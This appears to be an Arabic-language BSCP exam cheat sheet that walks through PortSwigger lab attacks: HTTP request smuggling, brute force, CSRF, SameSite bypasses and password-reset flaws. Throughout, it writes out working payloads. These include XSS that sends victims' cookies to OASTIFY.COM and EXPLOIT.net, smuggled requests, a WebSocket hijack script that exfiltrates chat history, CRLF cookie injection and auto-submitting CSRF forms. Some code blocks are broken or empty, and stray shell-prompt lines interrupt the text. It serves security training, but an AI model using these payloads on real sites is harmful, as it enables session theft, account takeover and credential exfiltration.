![استغلال تهريب طلبات HTTP لالتقاط طلبات المستخدمين الآخرين](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[مختبر PortSwigger: استغلال تهريب طلبات HTTP لالتقاط طلبات المستخدمين الآخرين](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - سارق كوكيز User-Agent  
  
>***حدد*** قيمة UserAgent المخزنة في طلب GET الذي يُحمِّل نموذج تعليق المدونة، وكذلك المخزنة في القيمة المخفية **User-Agent**. استغلال تهريب طلبات HTTP لتسليم XSS منعكسة باستخدام قيمة **User-Agent** التي يتم وضعها بعد ذلك في طلب مُهرَّب.  

>حمولة Cross Site Scripting أساسية تهرب خارج مستند HTML.```JavaScript
 "/><script>alert(1)</script>

COOKIE STEALER Payload.```JavaScript a"/>;

root@kitploit:~
>قم بتهريب طلب XSS هذا إلى الخادم الخلفي، بحيث يستغل الزائر التالي. ضع أداة سرقة الكوكيز عبر XSS في ترويسة **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

HTTP request smuggling to deliver reflected XSS and steal victim cookie

تحقق من طلب PortSwigger Collaborator المستلم من الضحية أثناء تصفح الهدف.

Collaborator capture XSS Request from victim browsing target

مختبر PortSwigger: استغلال تهريب طلبات HTTP لتسليم XSS منعكسة

تهريب HTTP/2 عبر حقن CRLF

الهدف معرّض لتهريب الطلبات لأن الخادم الأمامي يخفض طلبات HTTP/2 ولا يقوم بتعقيم الرؤوس الواردة بشكل كافٍ. يتم الاستغلال باستخدام ناقل تهريب طلبات خاص بـ HTTP/2 لسرقة ملف تعريف ارتباط الجلسة الخاص بالضحية والوصول إلى حساب المستخدم.

حدد الثغرة المحتملة عندما يعكس الهدف سجل البحث السابق والحديث بناءً على ملف تعريف الارتباط، وبإزالة ملف تعريف الارتباط يُلاحظ أن سجل البحث الخاص بك يُعاد تعيينه، مما يؤكد أنه مرتبط بملف تعريف ارتباط الجلسة الخاص بك.

recent searches

قم بتوسيع قسم Request Attributes في أداة Inspector وغيّر البروتوكول إلى HTTP/2، ثم أضف ترويسة عشوائية foo بقيمة bar، متبوعة بالتسلسل \r\n، ثم Transfer-Encoding: chunked، بالضغط على shift+ENTER.

http2-inspector

ملاحظة: فعّل خيار Allow HTTP/2 ALPN override وغيّر نص طلب HTTP/2 إلى طلب POST أدناه.```html 0

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800

search=nutty

root@kitploit:~
![تهريب HTTP/2 عبر حقن CRLF](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[مختبر PortSwigger: تهريب طلبات HTTP/2 عبر حقن CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[عرض يوتيوب: تهريب طلبات HTTP/2 عبر حقن CRLF](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>الهدف معرّض لتهريب الطلبات لأن الخادم الأمامي يخفّض طلبات HTTP/2 حتى عندما يكون طولها غامضًا. اسرق ملف تعريف ارتباط الجلسة الخاص بالمسؤول الذي يزور الهدف. سيحدد امتداد Burp، **HTTP Request Smuggler**، الثغرة ***على أنها*** ثغرة HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>ملاحظة: بدّل إلى **HTTP/2** في سمات الطلب في Inspector، وفعّل خيار **Allow HTTP/2 ALPN override** في قائمة Repeater.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

ملاحظة: المسارات في طلبات POST وGET تشير إلى نقاط نهاية غير موجودة. يساعد هذا في تحديد أنه عند عدم الحصول على استجابة 404، تكون الاستجابة من طلب تم التقاطه من المستخدم الضحية. تذكر إنهاء الطلب المُهرَّب بشكل صحيح من خلال تضمين التسلسل \r\n\r\n بعد ترويسة Host.

استجابة 302 بمجرد التقاط طلب كوكي المسؤول المسروق

انسخ قيمة كوكي الجلسة المسروقة في طلب GET جديد http/2 إلى لوحة الإدارة.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

root@kitploit:~
![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[مختبر PortSwigger: تسميم قائمة انتظار الاستجابة عبر تهريب طلبات H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## القوة الغاشمة  

[البقاء مسجلاً](#stay-logged-in)  
[اختراق البقاء مسجلاً دون اتصال](#stay-logged-in-offline-crack)  
[تسجيل دخول محمي ضد القوة الغاشمة](#brute-force-protected-login)  
[تسجيل دخول غير صالح بمهارة](#subtly-invalid-login)  

### البقاء مسجلاً  

>خيار تسجيل الدخول مع مربع اختيار البقاء مسجلاً يؤدي إلى قيمة Cookie تحتوي على كلمة مرور المستخدم المسجل، وهو عرضة لهجوم القوة الغاشمة.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>خطوات الاستغلال أدناه بالإضافة إلى قواعد معالجة حمولة Intruder بالترتيب، بما في ذلك خيار GREP بالتسلسل قبل بدء الهجوم.  
  
1. سجّل الخروج من حساب المستخدم الحالي.  
2. أرسل أحدث طلب GET /my-account إلى Burp Intruder.  
3. حدد الكوكي: ```stay-logged-in``` كموضع للحقن.  
4. التجزئة: ```MD5```  
5. أضف البادئة: ```carlos:```  
6. الترميز: ```Base64-encode```  
7. أضف **GREP** ضمن علامة التبويب إعدادات للتحقق من السلسلة ```Update email``` في الاستجابة، مما يشير إلى نجاح تسجيل الدخول في الهجوم.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[مختبر PortSwigger: تخمين كوكي البقاء مسجلاً](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### اختراق البقاء مسجلاً دون اتصال  
  
>دالة التعليقات في تطبيق المدونة عرضة لـ [XSS المخزّنة](#stored-xss)، استخدم الحمولة أدناه في تعليق المدونة لإرسال كوكي جلسة Carlos إلى خادم الاستغلال.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

فك ترميز قيمة ملف تعريف الارتباط stay-logged-in باستخدام Base64 واستخدم قاعدة بيانات محطة تكسير تجزئة MD5 عبر الإنترنت.

البقاء مسجلاً الدخول دون اتصال

معمل PortSwigger: تكسير كلمة المرور دون اتصال

اختراق تسجيل الدخول المحمي بقوة

تم تحديد حماية القوة الغاشمة عند تسجيل الدخول عندما يفرض الخادم الخلفي حظرًا لمدة 30 دقيقة، مما يؤدي إلى حظر عنوان IP بعد عدد كبير جدًا من محاولات الدخول غير الصالحة. اختبار ترويسة X-Forwarded-For: يؤدي إلى تجاوز حماية القوة الغاشمة. ملاحظة زمن الاستجابة مع كلمة مرور طويلة غير صالحة، يعني أنه يمكننا استخدام تقنية Pitchfork لـتحديد أسماء المستخدمين الصحيحة الأولى مع كلمة مرور عشوائية طويلة ثم إعادة تشغيل Intruder باستخدام Pitchfork، مع ضبط كل موضع حمولة هجوم ليكرر عبر جميع المجموعات في وقت واحد.

قوائم كلمات اختبار Burp لاسم المستخدم وكلمة المرور وفحص الدلائل

موضع الحمولة 1 على عنوان IP لـX-Forwarded-For: وموضع 2 على اسم المستخدم مع كلمة مرور طويلة لرؤية تأخير زمن الاستجابة في نافذة أعمدة الهجوم.``` X-Forwarded-For: 12.13.14.15

root@kitploit:~
![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>كرر هجوم **Pitchfork** أعلاه على حقل كلمة المرور ثم ***حدد*** كلمة المرور الصالحة من عمود الحالة بنتيجة 302.  

[مختبر PortSwigger: تعداد اسم المستخدم عبر توقيت الاستجابة](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  

### تسجيل دخول غير صالح بشكل خفي  

>***حدد*** أن صفحة تسجيل الدخول وإعادة تعيين كلمة المرور غير محمية ضد هجوم القوة الغاشمة، ولا يوجد حظر لعنوان IP أو انتهاء مهلة مفروض لأسماء المستخدمين أو كلمات المرور غير الصالحة.  

>نصيحة لامتحان BSCP، يوجد أحيانًا مستخدم آخر بكلمة مرور ضعيفة يمكن تخمينها بالقوة الغاشمة. كارلوس ليس دائمًا الحساب المستهدف لمنح وصول أولي في المرحلة 1.  

![تسجيل دخول غير صالح بشكل خفي](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>لاحظ في عمود هجوم Intruder لقيمة GREP، ```Invalid username or password.``` أن رسالة الاستجابة الواحدة لهجوم اسم مستخدم فاشل لا تحتوي على نقطة في النهاية. كرر الهجوم باستخدام اسم المستخدم ***المحدد***، واهجم على حقل كلمة المرور بهجوم **Sniper** لتحديد ```302``` للاستجابة لتسجيل الدخول الصالح.  

![تحديث كلمة المرور](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>في امتحان BSCP ***انتبه*** للرسائل الأخرى التي يتم إرجاعها وتكون مختلفة وتكشف عن حسابات صالحة على التطبيق وتسمح بتحديد كلمات مرور الحسابات بالقوة الغاشمة، مثل المثال في وظيفة [إعادة تعيين كلمة المرور](#refresh-password-broken-logic).  

>بمجرد تحديد اسم مستخدم صالح من رسالة استجابة مختلفة، قم بتنفيذ [هجوم القوة الغاشمة](#brute-force) باستخدام Burp Intruder على كلمة المرور.  

[مختبر PortSwigger: تعداد اسم المستخدم عبر استجابات مختلفة بشكل خفي](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>سيناريو آخر لتحديد اسم مستخدم صالح على تطبيق الويب هو توفير قائمة بأسماء المستخدمين عند تسجيل الدخول وقيمة كلمة مرور واحدة غير صالحة. وستحتوي إحدى نتائج هجوم Intruder على رسالة `Incorrect password`.  
>موضع حقن هجوم Intruder، `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[مختبر PortSwigger: تعداد اسم المستخدم عبر استجابات مختلفة](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  

-----

## المصادقة  

[تسجيل الحساب](#account-registration)  
[تجاوز رمز المصادقة عبر ماكرو](#auth-token-bypass-macro)  

### تسجيل الحساب  

>خلل في منطق الأعمال في ميزة تسجيل الحساب يسمح بالحصول على وصول أولي بدور المستخدم المستهدف. [اكتشاف المحتوى](#content-discovery) يجد المسار ```/admin```، وتشير الرسالة إلى أن واجهة المشرف متاحة فقط عند تسجيل الدخول كمستخدم **DontWannaCry**.  

![خلل طول التسجيل](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>إنشاء بريد إلكتروني بأكثر من 200 حرف قبل رمز ```@``` يتم اقتطاعه بعد ذلك إلى 255 حرفًا. وهذا ***يحدد*** الثغرة في **خلل** منطق صفحة تسجيل الحساب. في البريد الإلكتروني أدناه، حرف ```m``` في نهاية ```@dontwannacry.com``` هو الحرف 255 بالضبط.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Inconsistent-handling-exceptional-input

مختبر PortSwigger: معالجة غير متناسقة للإدخال الاستثنائي

ماكرو تجاوز رمز المصادقة

إذا كانت عملية تسجيل الدخول محمية ضد القوة الغاشمة باستخدام رمز عشوائي يُستخدم في كل طلب POST لتسجيل الدخول، فيمكن استخدام ماكرو Burp لتجاوز هذه الحماية.

إنشاء ماكرو Burp

  1. افتح إعدادات Proxy واختر sessions ضمن خيارات المشروع.
  2. مرر لأسفل إلى Macros، وأضف ماكروًا جديدًا.
  3. حدد request من القائمة لاستخدامه كقيمة.
  4. انقر فوق Configure item وأضف موقع معلمة مخصصًا لاستخراجه.
  5. انقر OK للعودة إلى Sessions ضمن خيارات المشروع.
  6. أضف قاعدة معالجة الجلسة، وسيُفتح محرر الحوار.
  7. في الحوار، انتقل إلى تبويب "Scope".
  8. ضمن نطاق محرر قاعدة معالجة الجلسة، حدد Target وIntruder وRepeater.
  9. ما زلت ضمن "URL Scope"، حدد Include all URLs.
  10. أغلق الإعدادات.

كيفية إنشاء ماكرو في Burp Suite Professional

مختبر PortSwigger: ثغرة منطق المال اللانهائي - شرح كيفية إنشاء ماكرو Burp


تصعيد الامتيازات

الاستيلاء على الحساب عبر CSRF

OAuth
التحقق من Referer في CSRF
وجود ترويسة Referer
LastSearchTerm
CSRF مكرر في الكوكيز
وجود رمز CSRF
تسجيل الدخول
CSRF بدون دفاعات
تجاوز SameSite Strict
تجاوز SameSite Lax

ثغرة تزوير الطلبات عبر المواقع (Cross-Site Request Forgery) تسمح للمهاجم بإجبار المستخدمين على تنفيذ إجراءات لم يعتزموا القيام بها. يمكن أن تمكن هذه الثغرة المهاجم من تغيير عنوان البريد الإلكتروني للضحية واستخدام إعادة تعيين كلمة المرور للاستيلاء على الحساب.

OAuth

ربط OAuth عبر استغلال خادم يستضيف iframe، ثم تسليمه إلى الضحية، مما يجبر المستخدم على تحديث الكود المرتبط.

csrf

اعترض طلب GET /oauth-linking?code=[...]. أرسله إلى Repeater لحفظ الكود. أسقط الطلب. من المهم التأكد من أن الكود غير مستخدم ويظل صالحًا. احفظ على خادم الاستغلال iframe حيث تشير سمة src إلى العنوان الذي نسخته للتو.```html

root@kitploit:~
[مختبر PortSwigger: الربط القسري لملف OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  

### التحقق من Referer في CSRF  

>***حدد*** أن وظيفة تغيير البريد الإلكتروني معرضة لـ CSRF من خلال ملاحظة أنه عند تغيير قيمة ترويسة **Referer**، يعطي الرد رسالة، `Invalid referer header`، ويتم قبول تغيير البريد الإلكتروني عندما تحتوي قيمة المُحيل على النطاق المستهدف المتوقع في مكان ما في القيمة.  

![تحديد فحص ترويسة Referer لـ CSRF](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>إضافة النطاق الأصلي للهدف وإلحاق `history.pushState('', '', '/?TARGET.net');` بـ **ترويسة Referer** في شكل سلسلة استعلام، يسمح بتحديث البريد الإلكتروني.```html
Referrer-Policy: unsafe-url

ملاحظة: على عكس التهجئة المعتادة لترويسة Referer، يجب تهجئة الكلمة "referrer" بشكل صحيح في قسم head أعلاه من خادم الاستغلال.

Referer csrf

أنشئ استغلال CSRF كإثبات للمفهوم واستضفه على خادم الاستغلال. عدّل JavaScript بحيث تتضمن الوسيطة الثالثة للدالة history.pushState() سلسلة استعلام مع عنوان URL الهدف.```html

``` >عندما يتم تسليم حمولة الاستغلال أعلاه إلى الضحية، تقوم حمولة CSRF POC بتغيير بريد الضحية الإلكتروني إلى **[email protected]**، لأن رأس Referer احتوى على الهدف في القيمة. في اختبار ***BSCP***، دوّن عنوان البريد الإلكتروني لخادم ```hacker@exploit``` الخاص بك لاستخدامه في الاستيلاء على الحساب.

PortSwigger Lab: CSRF with broken Referer validation

وجود رأس Referer

في طلب تحديث البريد الإلكتروني، عند تغيير رأس referer، تشير الاستجابة إلى Invalid referer header، مما يكشف ثغرة CSRF. باستخدام <meta name="referrer" content="no-referrer"> كجزء من CSRF PoC على خادم الاستغلال، يمكن تجاوز هذا التحكم. يوجّه هذا خادم الاستغلال لتسليم الاستغلال إلى الضحية بدون رأس referer.```html

``` >هذا استغلال تفاعلي، وفي اختبار BSCP إذا كان استغلال المرحلة الأولى غير تفاعلي، فيمكن استخدامه للحصول على تفاعل المسؤولة من خلال نقرها على الرابط لتغيير كلمة المرور الخاصة بها. لاحظ: افحص `source code` لصفحة تغيير البريد الإلكتروني بحثًا عن أي قيم إضافية لمعرّف النموذج.

csrf referer present

مختبر PortSwigger: CSRF حيث يعتمد التحقق من Referer على وجود الترويسة

LastSearchTerm

حدد ثغرة CSRF حيث لا يكون الرمز المميز مرتبطًا بملف تعريف ارتباط غير تابع للجلسة، عن طريق تغيير ملف تعريف الارتباط csrfkey وملاحظة النتيجة أن الطلب مرفوض. لاحظ قيمة ملف تعريف الارتباط LastSearchTerm التي تحتوي على إدخال المستخدم المقدم من معامل البحث.

identify-csrf-non-session-tied.png

وظيفة البحث لا تحتوي على حماية CSRF، أنشئ الحمولة أدناه التي تحقن أحرف سطر جديد %0d%0a لتعيين قيمة ملف تعريف ارتباط جديدة في الاستجابة، واستخدم ذلك لحقن ملفات تعريف الارتباط في متصفح المستخدم الضحية.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

root@kitploit:~
> قم بإنشاء CSRF POC، وفعّل خيار تضمين سكربت **الإرسال التلقائي**، ثم انقر على **إعادة التوليد**. أزل كتلة سكربت **الإرسال التلقائي** وأضف ما يلي بدلاً منها، وضع سكربت ```history.pushState``` أسفل ترويسة body. سيقوم **onerror** في وسم IMG SRC بدلاً من ذلك بإرسال CSRF POC.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

خلال امتحان BSCP، اضبط قيمة تغيير البريد الإلكتروني على عنوان البريد الإلكتروني لخادم الاستغلال [email protected]. بعد ذلك يمكنك تغيير كلمة مرور المسؤول باستخدام وظيفة إعادة التعيين.

csrf set cookie poc

في كود CSRF PoC أدناه، قيمة csrf المخفية هي تلك التي يولّدها وظيفة تغيير البريد الإلكتروني، وقيمة csrfkey في img src هي قيمة الضحية، التي تم الحصول عليها عن طريق تسجيل الدخول كضحية باستخدام بيانات الاعتماد المقدمة. لست متأكدًا في الامتحان، لكن في العالم الحقيقي هذا اختبار يجب إجراؤه.```html

``` [مختبر PortSwigger: CSRF حيث يكون الرمز المميز مرتبطًا بملف تعريف ارتباط غير مرتبط بالجلسة](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie)

تكرار CSRF في ملف تعريف الارتباط

في الهدف نحدد أن رمز مفتاح CSRF مكرر في قيمة ملف تعريف الارتباط. وهناك مؤشر آخر هو أن ملف تعريف الارتباط LastSearchTerm يحتوي على القيمة التي تم البحث عنها. من خلال إعطاء قيمة بحث تحتوي على %0d%0a يمكننا حقن أحرف نهاية السطر وسطر جديد لإنشاء ملف تعريف ارتباط وقيمة CSRF جديدين.

set cookie csrf fake

في كود الاستغلال، نقوم في وسم img src بتعيين ملف تعريف الارتباط csrf إلى قيمة وهمية.```html

``` ![csrf duplicated cookie](https://assets.kitploit.com/production/public/readmes/51008/67ac727205b3321a5f0b6263b9fa5e6c0a1e567e4605f7c47edf3f949a6f6239/6622e0aac8672c17f7b081ac3af58e6665f1b77375e5f3ef2efcfe58c30216fd-display-v1.webp)

PortSwigger Lab: CSRF where token is duplicated in cookie

رمز CSRF موجود

تغيير قيمة معامل csrf يؤدي إلى رفض طلب تغيير البريد الإلكتروني. حذف رمز CSRF يسمح بقبول تغيير البريد الإلكتروني، وهذا يحدد أن التحقق من وجود الرمز معرض للخطر.

حمولة PoC الخاصة بـ CSRF المستضافة على خادم الاستغلال:```html

``` ![فشل التحقق من وجود CSRF](https://assets.kitploit.com/production/public/readmes/51008/799f288a181bfb513f77125ec652d0d40e33878c81e230b3fcf6681fca926b50/bc205b49b4f58d8a51215bc9f7cbaa2f312f03f3ed524f7ee7778a223c1b7748-display-v1.webp)

مختبر PortSwigger: CSRF حيث يعتمد التحقق من الرمز على وجود الرمز

هل تم تسجيل الدخول

إذا تم تحديد ملف تعريف ارتباط بالاسم isloggedin، فمن الممكن استغلال طلب POST لتحديث كلمة مرور المسؤول.
غيّر معامل اسم المستخدم إلى administrator أثناء تسجيل الدخول كمستخدم بصلاحيات منخفضة.
رمز CSRF غير مرتبط بجلسة المستخدم.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

csrf=TOKEN&username=administrator

root@kitploit:~
![CSRF privesc](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF بدون دفاعات  

>الهدف الذي لا يملك دفاعات ضد وظيفة تغيير البريد الإلكتروني قد يسمح بتصعيد الامتيازات إلى دور المدير. في الاختبار، تغيير البريد الإلكتروني إلى عنوان `[email protected]` على خادم الاستغلال يمكن أن يسمح للمهاجم بتغيير كلمة مرور المستخدم المدير، مما يؤدي إلى تصعيد الامتيازات.  
>في الاختبار يوجد مستخدم نشط ***واحد*** فقط، وإذا تم إكمال المرحلة السابقة باستخدام هجوم لا يتطلب إجبار المستخدم النشط على النقر على رابط عبر تنفيذ تسميم ذاكرة التخزين المؤقت أو تنفيذ هجوم تصيد عبر وظيفة `Deliver to Victim`، فيمكن استخدام استغلال تغيير CSRF.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: ثغرة CSRF بدون دفاعات](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### تجاوز SameSite الصارم  

>في وظيفة الدردشة المباشرة، نلاحظ أن طلب `GET /chat HTTP/2` لا يستخدم أي رموز غير قابلة للتنبؤ، وهذا يمكن أن ***يحدد*** ثغرة محتملة في [اختراق WebSocket عبر المواقع](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) إذا كان من الممكن تجاوز قيد ملفات تعريف الارتباط [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).  

>استضف على خادم الاستغلال حمولة POC لتحديد ***ثغرة CSWSH***.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

يتم تعيين SameSite=Strict لملفات تعريف الارتباط الخاصة بالجلسة، وهذا يمنع المتصفح من تضمين هذه الملفات في طلبات XSS عبر المواقع. لقد حددنا رأس Access-Control-Allow-Origin في الطلبات الإضافية للبرامج النصية والصور إلى نطاق فرعي في cms-.
من خلال التصفح إلى نطاق CDN الفرعي هذا في cms- ثم تحديد أن إدخال اسم المستخدم العشوائي ينعكس، تم تأكيد أن هذه ثغرة XSS منعكسة.

تجاوز samesite لـ xss المنعكس في cms``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass

root@kitploit:~
>تجاوز قيود SameSite عن طريق ترميز URL للسكربت أدناه بالكامل واستخدامه كمدخل إلى النطاق الفرعي CDN الخاص بتسجيل دخول اسم المستخدم `cms-`، المستضاف على خادم الاستغلال.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

استضف ما يلي على خادم الاستغلال وسلّمه إلى الضحية، وبمجرد أن يتلقى المتعاون سجل محادثات الضحية مع كلمة مرورها، ينتج عن ذلك الاستيلاء على الحساب.```

root@kitploit:~
>يحتوي سجل الدردشة على كلمة مرور الضحية.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### تجاوز SameSite Lax  

>لاحظ أنه إذا قمت بزيارة `/social-login`، فسيؤدي ذلك تلقائيًا إلى بدء تدفق OAuth الكامل. إذا كان لا يزال لديك جلسة مسجلة الدخول مع خادم OAuth، فسيحدث كل هذا دون أي تفاعل.، وفي سجل الوكيل، لاحظ أنه في كل مرة تكمل فيها تدفق OAuth، يضع الموقع الهدف ملف تعريف ارتباط جلسة جديدًا حتى لو كنت مسجلاً الدخول بالفعل.  

>قم بتجاوز مانع النوافذ المنبثقة، لحث الضحية على النقر على الصفحة، ولا تُفتح النافذة المنبثقة إلا بعد أن تنقر الضحية، باستخدام JavaScript التالي. يقوم كود JavaScript الخاص بالاستغلال أولاً بتحديث جلسة الضحية عن طريق إجبار متصفحها على زيارة `/social-login`، ثم يرسل طلب تغيير البريد الإلكتروني بعد توقف قصير. سلّم الاستغلال إلى الضحية.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

مختبر PortSwigger: تجاوز SameSite Lax عبر تحديث ملفات تعريف الارتباط


إعادة تعيين كلمة المرور

منطق إعادة تعيين كلمة المرور المعطوب
كلمة المرور الحالية
رموز كلمة المرور الحساسة للوقت

منطق إعادة تعيين كلمة المرور المعطوب

إذا كانت ميزة إعادة تعيين كلمة المرور في التطبيق معيبة، يمكن استغلال هذه الثغرة لتحديد الحسابات الصالحة أو الحصول على رمز إعادة تعيين كلمة المرور. ويمكن أن يؤدي هذا إلى تحديد حسابات المستخدمين الصالحة أو تصعيد الامتيازات.

هذا هو نوع الثغرات الذي لا يتطلب مستخدمًا نشطًا على التطبيق للتفاعل مع الاستغلال، ودون أي نقرة من المستخدم على رابط أو أي تفاعل. دوّن ملاحظة حول الثغرات التي لا تتطلب مستخدمًا نشطًا على التطبيق في اختبار BSCP، لأن هذا يعني أنه في المرحلة التالية من الاختبار يمكن استخدام مثلًا روابط أخرى للتصيد التفاعلي تُرسل إلى الضحية.

حدد في source code لصفحة /forgot-password أن اسم المستخدم هو حقل مخفي.

اسم المستخدم المخفي في إعادة تعيين كلمة المرور

استغل طلب POST بحذف معامل temp-forgot-password-token في كلٍّ من عنوان URL ونص الطلب. غيّر معامل username إلى carlos.

Temp-forgot-password-token

مختبر PortSwigger: منطق إعادة تعيين كلمة المرور المعطوب

كلمة المرور الحالية

حدد أن تغيير كلمة المرور لا يحتاج إلى معامل current-password لتعيين كلمة مرور جديدة، وأن المستخدم الذي سيتم تغيير كلمة مروره يعتمد على معامل POST username=administrator
